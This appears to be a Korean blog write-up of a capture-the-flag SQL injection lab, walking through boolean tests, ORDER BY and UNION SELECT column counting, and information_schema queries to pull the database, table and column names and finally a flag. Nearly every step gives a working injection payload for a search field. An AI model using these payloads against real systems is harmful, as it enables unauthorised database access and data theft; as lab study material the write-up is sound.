SQL Injection 1풀이

황인환·2024년 6월 24일

SQL injection 가능한지 판단

  • ' and '%1%' = '%1 검색
  • TEST1과 TEST2의 차이가 있어야함
    -> True(1=1)와 False(1=2)구분되어야함
  • TEST3은 불가능
    -> True(1=1) 값을 넣었지만 False나옴
    -> 불가능
Test1 (ma%' and '%1%' = '%1 검색)
TEST2 (ma%' and '%1%' = '%2 검색)
TEST3

SQL injection을 위한 Column숫자 파악

  • ' order by#
    -> order by 1# -> order by 2# -> order by 3# ....
    by뒤 숫자를 늘려 결과가 도출되지 않을때까지 시도
    -> order by는 마지막에 와야함으로 and 1=1넣으면 order by가 생략됨
order by 결과 도출
order by 결과 도출 x
  • ' union select and 1=1
    -> union select 1 and 1=1 -> union select 1,2 and 1=1
    1 - > 1,2 -> 1,2,3 union select 뒤에 숫자를 늘려줌
    결과가 나올때까지 시도
union select 결과 도출
union select 결과 도출x

도출된 결과중 컬럼 확인

  • union select 1, 2, 3, 4 입력
    -> 1, 2, 3, 4 중 어떤 것이 어디에 화면에 도출되는지 확인
컬럼 확인

Database 이름 도출

- database()입력 in union select
-> ma' union select 1,database(), 3, 4 and '%1%' = '%1 검색

Database이름 도출

Table 이름 도출

  • select table_name from information_schema.tables where table_schema='DB이름'
    -> ma%' union select 1, table_name, 3, 4 from information_schema.tables where table_schema='sqli_1' and '%1%' = '%1 검색
Table 이름 도출

Column 이름 도출

  • select column_name from information_schema.columns where table_schema='DB이름' 검색
    -> ma%' union select 1, column_name, 3, 4 from information_schema.columns where table_schema='sqli_1' and '%1%' = '%1 검색
Column 이름 도출

Extract

  • select 도출된 Column이름 from 도출된 Table이름 검색
    ->ma%' union select 1,flag,3,4 from plusFlag_Table where 1=1 and '%1%' = '%1 검색
    +) and은 조건절 뒤에 입력하지 않으면 where절 안으로 입력되어서 '%1%' = '%1 -> where 1=1 sql문 에러남 '%1%' = '%1 가 적용되지않아서
    ->ma%' union select 1,flag,3,4 from plusFlag_Table # 검색
where 1=1 and '%1%' = '%1 검색
#검색

0개의 댓글